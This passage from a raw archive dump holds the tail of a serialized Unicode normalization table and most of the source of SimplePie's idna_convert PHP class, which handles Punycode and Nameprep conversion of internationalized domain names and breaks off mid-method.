20647;a:1:{i:0;i:963;}i:120662;a:1:{i:0;i:945;}i:120663;a:1:{i:0;i:946;}i:120664;a:1:{i:0;i:947;}i:120665;a:1:{i:0;i:948;}i:120666;a:1:{i:0;i:949;}i:120667;a:1:{i:0;i:950;}i:120668;a:1:{i:0;i:951;}i:120669;a:1:{i:0;i:952;}i:120670;a:1:{i:0;i:953;}i:120671;a:1:{i:0;i:954;}i:120672;a:1:{i:0;i:955;}i:120673;a:1:{i:0;i:956;}i:120674;a:1:{i:0;i:957;}i:120675;a:1:{i:0;i:958;}i:120676;a:1:{i:0;i:959;}i:120677;a:1:{i:0;i:960;}i:120678;a:1:{i:0;i:961;}i:120679;a:1:{i:0;i:952;}i:120680;a:1:{i:0;i:963;}i:120681;a:1:{i:0;i:964;}i:120682;a:1:{i:0;i:965;}i:120683;a:1:{i:0;i:966;}i:120684;a:1:{i:0;i:967;}i:120685;a:1:{i:0;i:968;}i:120686;a:1:{i:0;i:969;}i:120705;a:1:{i:0;i:963;}i:120720;a:1:{i:0;i:945;}i:120721;a:1:{i:0;i:946;}i:120722;a:1:{i:0;i:947;}i:120723;a:1:{i:0;i:948;}i:120724;a:1:{i:0;i:949;}i:120725;a:1:{i:0;i:950;}i:120726;a:1:{i:0;i:951;}i:120727;a:1:{i:0;i:952;}i:120728;a:1:{i:0;i:953;}i:120729;a:1:{i:0;i:954;}i:120730;a:1:{i:0;i:955;}i:120731;a:1:{i:0;i:956;}i:120732;a:1:{i:0;i:957;}i:120733;a:1:{i:0;i:958;}i:120734;a:1:{i:0;i:959;}i:120735;a:1:{i:0;i:960;}i:120736;a:1:{i:0;i:961;}i:120737;a:1:{i:0;i:952;}i:120738;a:1:{i:0;i:963;}i:120739;a:1:{i:0;i:964;}i:120740;a:1:{i:0;i:965;}i:120741;a:1:{i:0;i:966;}i:120742;a:1:{i:0;i:967;}i:120743;a:1:{i:0;i:968;}i:120744;a:1:{i:0;i:969;}i:120763;a:1:{i:0;i:963;}i:1017;a:1:{i:0;i:963;}i:7468;a:1:{i:0;i:97;}i:7469;a:1:{i:0;i:230;}i:7470;a:1:{i:0;i:98;}i:7472;a:1:{i:0;i:100;}i:7473;a:1:{i:0;i:101;}i:7474;a:1:{i:0;i:477;}i:7475;a:1:{i:0;i:103;}i:7476;a:1:{i:0;i:104;}i:7477;a:1:{i:0;i:105;}i:7478;a:1:{i:0;i:106;}i:7479;a:1:{i:0;i:107;}i:7480;a:1:{i:0;i:108;}i:7481;a:1:{i:0;i:109;}i:7482;a:1:{i:0;i:110;}i:7484;a:1:{i:0;i:111;}i:7485;a:1:{i:0;i:547;}i:7486;a:1:{i:0;i:112;}i:7487;a:1:{i:0;i:114;}i:7488;a:1:{i:0;i:116;}i:7489;a:1:{i:0;i:117;}i:7490;a:1:{i:0;i:119;}i:8507;a:3:{i:0;i:102;i:1;i:97;i:2;i:120;}i:12880;a:3:{i:0;i:112;i:1;i:116;i:2;i:101;}i:13004;a:2:{i:0;i:104;i:1;i:103;}i:13006;a:2:{i:0;i:101;i:1;i:118;}i:13007;a:3:{i:0;i:108;i:1;i:116;i:2;i:100;}i:13178;a:2:{i:0;i:105;i:1;i:117;}i:13278;a:3:{i:0;i:118;i:1;i:8725;i:2;i:109;}i:13279;a:3:{i:0;i:97;i:1;i:8725;i:2;i:109;}}s:12:"norm_combcls";a:341:{i:820;i:1;i:821;i:1;i:822;i:1;i:823;i:1;i:824;i:1;i:2364;i:7;i:2492;i:7;i:2620;i:7;i:2748;i:7;i:2876;i:7;i:3260;i:7;i:4151;i:7;i:12441;i:8;i:12442;i:8;i:2381;i:9;i:2509;i:9;i:2637;i:9;i:2765;i:9;i:2893;i:9;i:3021;i:9;i:3149;i:9;i:3277;i:9;i:3405;i:9;i:3530;i:9;i:3642;i:9;i:3972;i:9;i:4153;i:9;i:5908;i:9;i:5940;i:9;i:6098;i:9;i:1456;i:10;i:1457;i:11;i:1458;i:12;i:1459;i:13;i:1460;i:14;i:1461;i:15;i:1462;i:16;i:1463;i:17;i:1464;i:18;i:1465;i:19;i:1467;i:20;i:1468;i:21;i:1469;i:22;i:1471;i:23;i:1473;i:24;i:1474;i:25;i:64286;i:26;i:1611;i:27;i:1612;i:28;i:1613;i:29;i:1614;i:30;i:1615;i:31;i:1616;i:32;i:1617;i:33;i:1618;i:34;i:1648;i:35;i:1809;i:36;i:3157;i:84;i:3158;i:91;i:3640;i:103;i:3641;i:103;i:3656;i:107;i:3657;i:107;i:3658;i:107;i:3659;i:107;i:3768;i:118;i:3769;i:118;i:3784;i:122;i:3785;i:122;i:3786;i:122;i:3787;i:122;i:3953;i:129;i:3954;i:130;i:3962;i:130;i:3963;i:130;i:3964;i:130;i:3965;i:130;i:3968;i:130;i:3956;i:132;i:801;i:202;i:802;i:202;i:807;i:202;i:808;i:202;i:795;i:216;i:3897;i:216;i:119141;i:216;i:119142;i:216;i:119150;i:216;i:119151;i:216;i:119152;i:216;i:119153;i:216;i:119154;i:216;i:12330;i:218;i:790;i:220;i:791;i:220;i:792;i:220;i:793;i:220;i:796;i:220;i:797;i:220;i:798;i:220;i:799;i:220;i:800;i:220;i:803;i:220;i:804;i:220;i:805;i:220;i:806;i:220;i:809;i:220;i:810;i:220;i:811;i:220;i:812;i:220;i:813;i:220;i:814;i:220;i:815;i:220;i:816;i:220;i:817;i:220;i:818;i:220;i:819;i:220;i:825;i:220;i:826;i:220;i:827;i:220;i:828;i:220;i:839;i:220;i:840;i:220;i:841;i:220;i:845;i:220;i:846;i:220;i:851;i:220;i:852;i:220;i:853;i:220;i:854;i:220;i:1425;i:220;i:1430;i:220;i:1435;i:220;i:1443;i:220;i:1444;i:220;i:1445;i:220;i:1446;i:220;i:1447;i:220;i:1450;i:220;i:1621;i:220;i:1622;i:220;i:1763;i:220;i:1770;i:220;i:1773;i:220;i:1841;i:220;i:1844;i:220;i:1847;i:220;i:1848;i:220;i:1849;i:220;i:1851;i:220;i:1852;i:220;i:1854;i:220;i:1858;i:220;i:1860;i:220;i:1862;i:220;i:1864;i:220;i:2386;i:220;i:3864;i:220;i:3865;i:220;i:3893;i:220;i:3895;i:220;i:4038;i:220;i:6459;i:220;i:8424;i:220;i:119163;i:220;i:119164;i:220;i:119165;i:220;i:119166;i:220;i:119167;i:220;i:119168;i:220;i:119169;i:220;i:119170;i:220;i:119178;i:220;i:119179;i:220;i:1434;i:222;i:1453;i:222;i:6441;i:222;i:12333;i:222;i:12334;i:224;i:12335;i:224;i:119149;i:226;i:1454;i:228;i:6313;i:228;i:12331;i:228;i:768;i:230;i:769;i:230;i:770;i:230;i:771;i:230;i:772;i:230;i:773;i:230;i:774;i:230;i:775;i:230;i:776;i:230;i:777;i:230;i:778;i:230;i:779;i:230;i:780;i:230;i:781;i:230;i:782;i:230;i:783;i:230;i:784;i:230;i:785;i:230;i:786;i:230;i:787;i:230;i:788;i:230;i:829;i:230;i:830;i:230;i:831;i:230;i:832;i:230;i:833;i:230;i:834;i:230;i:835;i:230;i:836;i:230;i:838;i:230;i:842;i:230;i:843;i:230;i:844;i:230;i:848;i:230;i:849;i:230;i:850;i:230;i:855;i:230;i:867;i:230;i:868;i:230;i:869;i:230;i:870;i:230;i:871;i:230;i:872;i:230;i:873;i:230;i:874;i:230;i:875;i:230;i:876;i:230;i:877;i:230;i:878;i:230;i:879;i:230;i:1155;i:230;i:1156;i:230;i:1157;i:230;i:1158;i:230;i:1426;i:230;i:1427;i:230;i:1428;i:230;i:1429;i:230;i:1431;i:230;i:1432;i:230;i:1433;i:230;i:1436;i:230;i:1437;i:230;i:1438;i:230;i:1439;i:230;i:1440;i:230;i:1441;i:230;i:1448;i:230;i:1449;i:230;i:1451;i:230;i:1452;i:230;i:1455;i:230;i:1476;i:230;i:1552;i:230;i:1553;i:230;i:1554;i:230;i:1555;i:230;i:1556;i:230;i:1557;i:230;i:1619;i:230;i:1620;i:230;i:1623;i:230;i:1624;i:230;i:1750;i:230;i:1751;i:230;i:1752;i:230;i:1753;i:230;i:1754;i:230;i:1755;i:230;i:1756;i:230;i:1759;i:230;i:1760;i:230;i:1761;i:230;i:1762;i:230;i:1764;i:230;i:1767;i:230;i:1768;i:230;i:1771;i:230;i:1772;i:230;i:1840;i:230;i:1842;i:230;i:1843;i:230;i:1845;i:230;i:1846;i:230;i:1850;i:230;i:1853;i:230;i:1855;i:230;i:1856;i:230;i:1857;i:230;i:1859;i:230;i:1861;i:230;i:1863;i:230;i:1865;i:230;i:1866;i:230;i:2385;i:230;i:2387;i:230;i:2388;i:230;i:3970;i:230;i:3971;i:230;i:3974;i:230;i:3975;i:230;i:5901;i:230;i:6458;i:230;i:8400;i:230;i:8401;i:230;i:8404;i:230;i:8405;i:230;i:8406;i:230;i:8407;i:230;i:8411;i:230;i:8412;i:230;i:8417;i:230;i:8423;i:230;i:8425;i:230;i:65056;i:230;i:65057;i:230;i:65058;i:230;i:65059;i:230;i:119173;i:230;i:119174;i:230;i:119175;i:230;i:119177;i:230;i:119176;i:230;i:119210;i:230;i:119211;i:230;i:119212;i:230;i:119213;i:230;i:789;i:232;i:794;i:232;i:12332;i:232;i:863;i:233;i:866;i:233;i:861;i:234;i:862;i:234;i:864;i:234;i:865;i:234;i:837;i:240;}}PKÜ�\nq?&�&�5vendor/simplepie/simplepie/idn/idna_convert.class.phpnu�[���<?php // {{{ license /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker: */ // // +----------------------------------------------------------------------+ // | This library is free software; you can redistribute it and/or modify | // | it under the terms of the GNU Lesser General Public License as | // | published by the Free Software Foundation; either version 2.1 of the | // | License, or (at your option) any later version. | // | | // | This library is distributed in the hope that it will be useful, but | // | WITHOUT ANY WARRANTY; without even the implied warranty of | // | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU | // | Lesser General Public License for more details. | // | | // | You should have received a copy of the GNU Lesser General Public | // | License along with this library; if not, write to the Free Software | // | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 | // | USA. | // +----------------------------------------------------------------------+ // // }}} /** * Encode/decode Internationalized Domain Names. * * The class allows to convert internationalized domain names * (see RFC 3490 for details) as they can be used with various registries worldwide * to be translated between their original (localized) form and their encoded form * as it will be used in the DNS (Domain Name System). * * The class provides two public methods, encode() and decode(), which do exactly * what you would expect them to do. You are allowed to use complete domain names, * simple strings and complete email addresses as well. That means, that you might * use any of the following notations: * * - www.nörgler.com * - xn--nrgler-wxa * - xn--brse-5qa.xn--knrz-1ra.info * * Unicode input might be given as either UTF-8 string, UCS-4 string or UCS-4 * array. Unicode output is available in the same formats. * You can select your preferred format via {@link set_paramter()}. * * ACE input and output is always expected to be ASCII. * * @author Matthias Sommerfeld <mso@phlylabs.de> * @copyright 2004-2007 phlyLabs Berlin, http://phlylabs.de * @version 0.5.1 * */ class idna_convert { /** * Holds all relevant mapping tables, loaded from a seperate file on construct * See RFC3454 for details * * @var array * @access private */ var $NP = array(); // Internal settings, do not mess with them var $_punycode_prefix = 'xn--'; var $_invalid_ucs = 0x80000000; var $_max_ucs = 0x10FFFF; var $_base = 36; var $_tmin = 1; var $_tmax = 26; var $_skew = 38; var $_damp = 700; var $_initial_bias = 72; var $_initial_n = 0x80; var $_sbase = 0xAC00; var $_lbase = 0x1100; var $_vbase = 0x1161; var $_tbase = 0x11A7; var $_lcount = 19; var $_vcount = 21; var $_tcount = 28; var $_ncount = 588; // _vcount * _tcount var $_scount = 11172; // _lcount * _tcount * _vcount var $_error = false; // See {@link set_paramter()} for details of how to change the following // settings from within your script / application var $_api_encoding = 'utf8'; // Default input charset is UTF-8 var $_allow_overlong = false; // Overlong UTF-8 encodings are forbidden var $_strict_mode = false; // Behave strict or not // The constructor function idna_convert($options = false) { $this->slast = $this->_sbase + $this->_lcount * $this->_vcount * $this->_tcount; if (function_exists('file_get_contents')) { $this->NP = unserialize(file_get_contents(dirname(__FILE__).'/npdata.ser')); } else { $this->NP = unserialize(join('', file(dirname(__FILE__).'/npdata.ser'))); } // If parameters are given, pass these to the respective method if (is_array($options)) { return $this->set_parameter($options); } return true; } /** * Sets a new option value. Available options and values: * [encoding - Use either UTF-8, UCS4 as array or UCS4 as string as input ('utf8' for UTF-8, * 'ucs4_string' and 'ucs4_array' respectively for UCS4); The output is always UTF-8] * [overlong - Unicode does not allow unnecessarily long encodings of chars, * to allow this, set this parameter to true, else to false; * default is false.] * [strict - true: strict mode, good for registration purposes - Causes errors * on failures; false: loose mode, ideal for "wildlife" applications * by silently ignoring errors and returning the original input instead * * @param mixed Parameter to set (string: single parameter; array of Parameter => Value pairs) * @param string Value to use (if parameter 1 is a string) * @return boolean true on success, false otherwise * @access public */ function set_parameter($option, $value = false) { if (!is_array($option)) { $option = array($option => $value); } foreach ($option as $k => $v) { switch ($k) { case 'encoding': switch ($v) { case 'utf8': case 'ucs4_string': case 'ucs4_array': $this->_api_encoding = $v; break; default: $this->_error('Set Parameter: Unknown parameter '.$v.' for option '.$k); return false; } break; case 'overlong': $this->_allow_overlong = ($v) ? true : false; break; case 'strict': $this->_strict_mode = ($v) ? true : false; break; default: $this->_error('Set Parameter: Unknown option '.$k); return false; } } return true; } /** * Decode a given ACE domain name * @param string Domain name (ACE string) * [@param string Desired output encoding, see {@link set_parameter}] * @return string Decoded Domain name (UTF-8 or UCS-4) * @access public */ function decode($input, $one_time_encoding = false) { // Optionally set if ($one_time_encoding) { switch ($one_time_encoding) { case 'utf8': case 'ucs4_string': case 'ucs4_array': break; default: $this->_error('Unknown encoding '.$one_time_encoding); return false; } } // Make sure to drop any newline characters around $input = trim($input); // Negotiate input and try to determine, whether it is a plain string, // an email address or something like a complete URL if (strpos($input, '@')) { // Maybe it is an email address // No no in strict mode if ($this->_strict_mode) { $this->_error('Only simple domain name parts can be handled in strict mode'); return false; } list ($email_pref, $input) = explode('@', $input, 2); $arr = explode('.', $input); foreach ($arr as $k => $v) { if (preg_match('!^'.preg_quote($this->_punycode_prefix, '!').'!', $v)) { $conv = $this->_decode($v); if ($conv) $arr[$k] = $conv; } } $input = join('.', $arr); $arr = explode('.', $email_pref); foreach ($arr as $k => $v) { if (preg_match('!^'.preg_quote($this->_punycode_prefix, '!').'!', $v)) { $conv = $this->_decode($v); if ($conv) $arr[$k] = $conv; } } $email_pref = join('.', $arr); $return = $email_pref . '@' . $input; } elseif (preg_match('![:\./]!', $input)) { // Or a complete domain name (with or without paths / parameters) // No no in strict mode if ($this->_strict_mode) { $this->_error('Only simple domain name parts can be handled in strict mode'); return false; } $parsed = parse_url($input); if (isset($parsed['host'])) { $arr = explode('.', $parsed['host']); foreach ($arr as $k => $v) { $conv = $this->_decode($v); if ($conv) $arr[$k] = $conv; } $parsed['host'] = join('.', $arr); $return = (empty($parsed['scheme']) ? '' : $parsed['scheme'].(strtolower($parsed['scheme']) == 'mailto' ? ':' : '://')) .(empty($parsed['user']) ? '' : $parsed['user'].(empty($parsed['pass']) ? '' : ':'.$parsed['pass']).'@') .$parsed['host'] .(empty($parsed['port']) ? '' : ':'.$parsed['port']) .(empty($parsed['path']) ? '' : $parsed['path']) .(empty($parsed['query']) ? '' : '?'.$parsed['query']) .(empty($parsed['fragment']) ? '' : '#'.$parsed['fragment']); } else { // parse_url seems to have failed, try without it $arr = explode('.', $input); foreach ($arr as $k => $v) { $conv = $this->_decode($v); $arr[$k] = ($conv) ? $conv : $v; } $return = join('.', $arr); } } else { // Otherwise we consider it being a pure domain name string $return = $this->_decode($input); if (!$return) $return = $input; } // The output is UTF-8 by default, other output formats need conversion here // If one time encoding is given, use this, else the objects property switch (($one_time_encoding) ? $one_time_encoding : $this->_api_encoding) { case 'utf8': return $return; break; case 'ucs4_string': return $this->_ucs4_to_ucs4_string($this->_utf8_to_ucs4($return)); break; case 'ucs4_array': return $this->_utf8_to_ucs4($return); break; default: $this->_error('Unsupported output format'); return false; } } /** * Encode a given UTF-8 domain name * @param string Domain name (UTF-8 or UCS-4) * [@param string Desired input encoding, see {@link set_parameter}] * @return string Encoded Domain name (ACE string) * @access public */ function encode($decoded, $one_time_encoding = false) { // Forcing conversion of input to UCS4 array // If one time encoding is given, use this, else the objects property switch ($one_time_encoding ? $one_time_encoding : $this->_api_encoding) { case 'utf8': $decoded = $this->_utf8_to_ucs4($decoded); break; case 'ucs4_string': $decoded = $this->_ucs4_string_to_ucs4($decoded); case 'ucs4_array': break; default: $this->_error('Unsupported input format: '.($one_time_encoding ? $one_time_encoding : $this->_api_encoding)); return false; } // No input, no output, what else did you expect? if (empty($decoded)) return ''; // Anchors for iteration $last_begin = 0; // Output string $output = ''; foreach ($decoded as $k => $v) { // Make sure to use just the plain dot switch($v) { case 0x3002: case 0xFF0E: case 0xFF61: $decoded[$k] = 0x2E; // Right, no break here, the above are converted to dots anyway // Stumbling across an anchoring character case 0x2E: case 0x2F: case 0x3A: case 0x3F: case 0x40: // Neither email addresses nor URLs allowed in strict mode if ($this->_strict_mode) { $this->_error('Neither email addresses nor URLs are allowed in strict mode.'); return false; } else { // Skip first char if ($k) { $encoded = ''; $encoded = $this->_encode(array_slice($decoded, $last_begin, (($k)-$last_begin))); if ($encoded) { $output .= $encoded; } else { $output .= $this->_ucs4_to_utf8(array_slice($decoded, $last_begin, (($k)-$last_begin))); } $output .= chr($decoded[$k]); } $last_begin = $k + 1; } } } // Catch the rest of the string if ($last_begin) { $inp_len = sizeof($decoded); $encoded = ''; $encoded = $this->_encode(array_slice($decoded, $last_begin, (($inp_len)-$last_begin))); if ($encoded) { $output .= $encoded; } else { $output .= $this->_ucs4_to_utf8(array_slice($decoded, $last_begin, (($inp_len)-$last_begin))); } return $output; } else { if ($output = $this->_encode($decoded)) { return $output; } else { return $this->_ucs4_to_utf8($decoded); } } } /** * Use this method to get the last error ocurred * @param void * @return string The last error, that occured * @access public */ function get_last_error() { return $this->_error; } /** * The actual decoding algorithm * @access private */ function _decode($encoded) { // We do need to find the Punycode prefix if (!preg_match('!^'.preg_quote($this->_punycode_prefix, '!').'!', $encoded)) { $this->_error('This is not a punycode string'); return false; } $encode_test = preg_replace('!^'.preg_quote($this->_punycode_prefix, '!').'!', '', $encoded); // If nothing left after removing the prefix, it is hopeless if (!$encode_test) { $this->_error('The given encoded string was empty'); return false; } // Find last occurence of the delimiter $delim_pos = strrpos($encoded, '-'); if ($delim_pos > strlen($this->_punycode_prefix)) { for ($k = strlen($this->_punycode_prefix); $k < $delim_pos; ++$k) { $decoded[] = ord($encoded{$k}); } } else { $decoded = array(); } $deco_len = count($decoded); $enco_len = strlen($encoded); // Wandering through the strings; init $is_first = true; $bias = $this->_initial_bias; $idx = 0; $char = $this->_initial_n; for ($enco_idx = ($delim_pos) ? ($delim_pos + 1) : 0; $enco_idx < $enco_len; ++$deco_len) { for ($old_idx = $idx, $w = 1, $k = $this->_base; 1 ; $k += $this->_base) { $digit = $this->_decode_digit($encoded{$enco_idx++}); $idx += $digit * $w; $t = ($k <= $bias) ? $this->_tmin : (($k >= $bias + $this->_tmax) ? $this->_tmax : ($k - $bias)); if ($digit < $t) break; $w = (int) ($w * ($this->_base - $t)); } $bias = $this->_adapt($idx - $old_idx, $deco_len + 1, $is_first); $is_first = false; $char += (int) ($idx / ($deco_len + 1)); $idx %= ($deco_len + 1); if ($deco_len > 0) { // Make room for the decoded char for ($i = $deco_len; $i > $idx; $i--) { $decoded[$i] = $decoded[($i - 1)]; } } $decoded[$idx++] = $char; } return $this->_ucs4_to_utf8($decoded); } /** * The actual encoding algorithm * @access private */ function _encode($decoded) { // We cannot encode a domain name containing the Punycode prefix $extract = strlen($this->_punycode_prefix); $check_pref = $this->_utf8_to_ucs4($this->_punycode_prefix); $check_deco = array_slice($decoded, 0, $extract); if ($check_pref == $check_deco) { $this->_error('This is already a punycode string'); return false; } // We will not try to encode strings consisting of basic code points only $encodable = false; foreach ($decoded as $k => $v) { if ($v > 0x7a) { $encodable = true; break; } } if (!$encodable) { $this->_error('The given string does not contain encodable chars'); return false; } // Do NAMEPREP $decoded = $this->_nameprep($decoded); if (!$decoded || !is_array($decoded)) return false; // NAMEPREP failed $deco_len = count($decoded); if (!$deco_len) return false; // Empty array $codecount = 0; // How many chars have been consumed $encoded = ''; // Copy all basic code points to output for ($i = 0; $i < $deco_len; ++$i) { $test = $decoded[$i]; // Will match [-0-9a-zA-Z] if ((0x2F < $test && $test < 0x40) || (0x40 < $test && $test < 0x5B) || (0x60 < $test && $test <= 0x7B) || (0x2D == $test)) { $encoded .= chr($decoded[$i]); $codecount++; } } if ($codecount == $deco_len) return $encoded; // All codepoints were basic ones // Start with the prefix; copy it to output $encoded = $this->_punycode_prefix.$encoded; // If we have basic code points in output, add an hyphen to the end if ($codecount) $encoded .= '-'; // Now find and encode all non-basic code points $is_first = true; $cur_code = $this->_initial_n; $bias = $this->_initial_bias; $delta = 0; while ($codecount < $deco_len) { // Find the smallest code point >= the current code point and // remember the last ouccrence of it in the input for ($i = 0, $next_code = $this->_max_ucs; $i < $deco_len; $i++) { if ($decoded[$i] >= $cur_code && $decoded[$i] <= $next_code) { $next_code = $decoded[$i]; } } $delta += ($next_code - $cur_code) * ($codecount + 1); $cur_code = $next_code; // Scan input again and encode all characters whose code point is $cur_code for ($i = 0; $i < $deco_len; $i++) { if ($decoded[$i] < $cur_code) { $delta++; } elseif ($decoded[$i] == $cur_code) { for ($q = $delta, $k = $this->_base; 1; $k += $this->_base) { $t = ($k <= $bias) ? $this->_tmin : (($k >= $bias + $this->_tmax) ? $this->_tmax : $k - $bias); if ($q < $t) break; $encoded .= $this->_encode_digit(intval($t + (($q - $t) % ($this->_base - $t)))); //v0.4.5 Changed from ceil() to intval() $q = (int) (($q - $t) / ($this->_base - $t)); } $encoded .= $this->_encode_digit($q); $bias = $this->_adapt($delta, $codecount+1, $is_first); $codecount++; $delta = 0; $is_first = false; } } $delta++; $cur_code++; } return $encoded; } /** * Adapt the bias according to the current code point and position * @access private */ function _adapt($delta, $npoints, $is_first) { $delta = intval($is_first ? ($delta / $this->_damp) : ($delta / 2)); $delta += intval($delta / $npoints); for ($k = 0; $delta > (($this->_base - $this->_tmin) * $this->_tmax) / 2; $k += $this->_base) { $delta = intval($delta / ($this->_base - $this->_tmin)); } return intval($k + ($this->_base - $this->_tmin + 1) * $delta / ($delta + $this->_skew)); } /** * Encoding a certain digit * @access private */ function _encode_digit($d) { return chr($d + 22 + 75 * ($d < 26)); } /** * Decode a certain digit * @access private */ function _decode_digit($cp) { $cp = ord($cp); return ($cp - 48 < 10) ? $cp - 22 : (($cp - 65 < 26) ? $cp - 65 : (($cp - 97 < 26) ? $cp - 97 : $this->_base)); } /** * Internal error handling method * @access private */ function _error($error = '') { $this->_error = $error; } /** * Do Nameprep according to RFC3491 and RFC3454 * @param array Unicode Characters * @return string Unicode Characters, Nameprep'd * @access private */ function _nameprep($input) { $output = array(); $error = false; // // Mapping // Walking through the input array, performing the required steps on each of // the input chars and putting the result into the output array // While mapping required chars we apply the cannonical ordering foreach ($input as $v) { // Map to nothing == skip that code point if (in_array($v, $this->NP['map_nothing'])) continue; // Try to find prohibited input if (in_array($v, $this->NP['prohibit']) || in_array($v, $this->NP['general_prohibited'])) { $this->_error('NAMEPREP: Prohibited input U+'.sprintf('%08X', $v)); return false; } foreach ($this->NP['prohibit_ranges'] as $range) { if ($range[0] <= $v && $v <= $range[1]) { $this->_error('NAMEPREP: Prohibited input U+'.sprintf('%08X', $v)); return false; } } // // Hangul syllable decomposition if (0xAC00 <= $v && $v <= 0xD7AF) { foreach ($this->_hangul_decompose($v) as $out) { $output[] = (int) $out; } // There's a decomposition mapping for that code point } elseif (isset($this->NP['replacemaps'][$v])) { foreach ($this->_apply_cannonical_ordering($this->NP['replacemaps'][$v]) as $out) { $output[] = (int) $out; } } else { $output[] = (int) $v; } } // Before applying any Combining, try to rearrange any Hangul syllables $output = $this->_hangul_compose($output); // // Combine code points // $last_class = 0; $last_starter = 0; $out_len = count($output); for ($i = 0; $i < $out_len; ++$i) { $class = $this->_get_combining_class($output[$i]); if ((!$last_class || $last_class > $class) && $class) { // Try to match $seq_len = $i - $last_starter; $out = $this->_combine(array_slice($output, $last_starter, $seq_len)); // On match: Replace the last starter with the composed character and remove // the now redundant non-starter(s) if ($out) { $output[$last_starter] = $out; if (count($out) != $seq_len) { for ($j = $i+1; $j < $out_len; ++$j) { $output[$j-1] = $output[$j]; } unset($output[$out_len]); } // Rewind the for loop by one, since there can be more possible compositions $i--; $out_len--; $last_class = ($i == $last_starter) ? 0 : $this->_get_combining_class($output[$i-1]); continue; } } // The current class is 0 if (!$class) $last_starter = $i; $last_class = $class; } return $output; } /** * Decomposes a Hangul syllable * (see http://www.unicode.org/unicode/reports/tr15/#Hangul * @param integer 32bit UCS4 code point * @return array Either Hangul Syllable decomposed or original 32bit value as one value array * @access private */ function _hangul_decompose($char) { $sindex = (int) $char - $this->_sbase; if ($sindex < 0 || $sindex >= $this->_scount) { return array($char); } $result = array(); $result[] = (int) $this->_lbase + $sindex / $this->_ncount; $result[] = (int) $this->_vbase + ($sindex % $this->_ncount) / $this->_tcount; $T = intval($this->_tbase + $sindex % $this->_tcount); if ($T != $this->_tbase) $result[] = $T; return $result; } /** * Ccomposes a Hangul syllable * (see http://www.unicode.org/unicode/reports/tr15/#Hangul * @param array Decomposed UCS4 sequence * @return array UCS4 sequence with syllables composed * @access private */ function _hangul_compose($input) { $inp_len = count($input); if (!$inp_len) return array(); $result = array(); $last = (int) $input[0]; $result[] = $last; // copy first char from input to output for ($i = 1; $i < $inp_len; ++$i) { $char = (int) $input[$i]; $sindex = $last - $this->_sbase; $lindex = $last - $this->_lbase; $vindex = $char - $this->_vbase; $tindex = $char - $this->_tbase; // Find out, whether two current characters are LV and T if (0 <= $sindex && $sindex < $this->_scount && ($sindex % $this->_tcount == 0) && 0 <= $tindex && $tindex <= $this->_tcount) { // create syllable of form LVT $last += $tindex; $result[(count($result) - 1)] = $last; // reset last continue; // discard char } // Find out, whether two current characters form L and V if (0 <= $lindex && $lindex < $this->_lcount && 0 <= $vindex && $vindex < $this->_vcount) { // create syllable of form LV $last = (int) $this->_sbase + ($lindex * $this->_vcount + $vindex) * $this->_tcount; $result[(count($result) - 1)] = $last; // reset last continue; // discard char } // if neither case was true, just add the character $last = $char; $result[] = $char; } return $result; } /** * Returns the combining class of a certain wide char * @param integer Wide char to check (32bit integer) * @return integer Combining class if found, else 0 * @access private */ function _get_combining_class($char) { return isset($this->NP['norm_combcls'][$char]) ? $this->NP['norm_combcls'][$char] : 0; } /** * Apllies the cannonical ordering of a decomposed UCS4 sequence * @param array Decomposed UCS4 sequence * @return array Ordered USC4 sequence * @access private */ function _apply_cannonical_ordering($input) { $swap = true; $size = count($input); while ($swap) { $swap = false; $last = $this->_get_combining_class(intval($input[0])); for ($i = 0; $i < $size-1; ++$i) { $next = $this->_get_combining_class(intval($input[$i+1])); if ($next != 0 && $last > $next) { // Move item leftward until it fits for ($j = $i + 1; $j > 0; --$j) { if ($this->_get_combining_class(intval($input[$j-1])) <= $next) break; $t = intval($input[$j]); $input[$j] = intval($input[$j-1]); $input[$j-1] = $t; $swap = true; } // Reentering the loop looking at the old character again $next = $last; } $last = $next; } } return $input; } /** * Do composition of a sequence of starter and non-starter * @param array UCS4 Decomposed sequence * @return array Ordered USC4 sequence * @access private */ function _combine($input) { $inp_len = count($input); foreach ($this->NP['replacemaps'] as $np_src => $np_target) { if ($np_target[0] != $input[0]) continue; if (count($np_target) != $inp_len) continue; $hit = false; foreach ($input as $k2 => $v2) { if ($v2 == $np_target[$k2]) { $hit = true; } else { $hit = false; break; } } if ($hit) return $np_src; } return false; } /** * This converts an UTF-8 encoded string to its UCS-4 representation * By talking about UCS-4 "strings" we mean arrays of 32bit integers representing * each of the "chars". This is due to PHP not being able to handle strings with * bit depth different from 8. This apllies to the reverse method _ucs4_to_utf8(), too. * The following UTF-8 encodings are supported: * bytes bits representation * 1 7 0xxxxxxx * 2 11 110xxxxx 10xxxxxx * 3 16 1110xxxx 10xxxxxx 10xxxxxx * 4 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx * 5 26 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx * 6 31 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx * Each x represents a bit that can be used to store character data. * The five and six byte sequences are part of Annex D of ISO/IEC 10646-1:2000 * @access private */ function _utf8_to_ucs4($input) { $output = array(); $out_len = 0; $inp_len = strlen($input); $mode = 'next'; $test = 'none'; for ($k = 0; $k < $inp_len; ++$k) { $v = ord($input{$k}); // Extract byte from input string if ($v < 128) { // We found an ASCII char - put into stirng as is $output[$out_len] = $v; ++$out_len; if ('add' == $mode) { $this->_error('Conversion from UTF-8 to UCS-4 failed: malformed input at byte '.$k); return false; } continue; } if ('next' == $mode) { // Try to find the next start byte; determine the width of the Unicode char $start_byte = $v; $mode = 'add'; $test = 'range'; if ($v >> 5 == 6) { // &110xxxxx 10xxxxx $next_byte = 0; // Tells, how many times subsequent bitmasks must rotate 6bits to the left $v = ($v - 192) << 6; } elseif ($v >> 4 == 14) { // &1110xxxx 10xxxxxx 10xxxxxx $next_byte = 1; $v = ($v - 224) << 12; } elseif ($v >> 3 == 30) { // &11110xxx 10xxxxxx 10xxxxxx 10xxxxxx $next_byte = 2; $v = ($v - 240) << 18; } elseif ($v >> 2 == 62) { // &111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx $next_byte = 3; $v = ($v - 248) << 24; } elseif ($v >> 1 == 126) { // &1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx $next_byte = 4; $v = ($v - 252) << 30; } else { $this->_error('This might be UTF-8, but 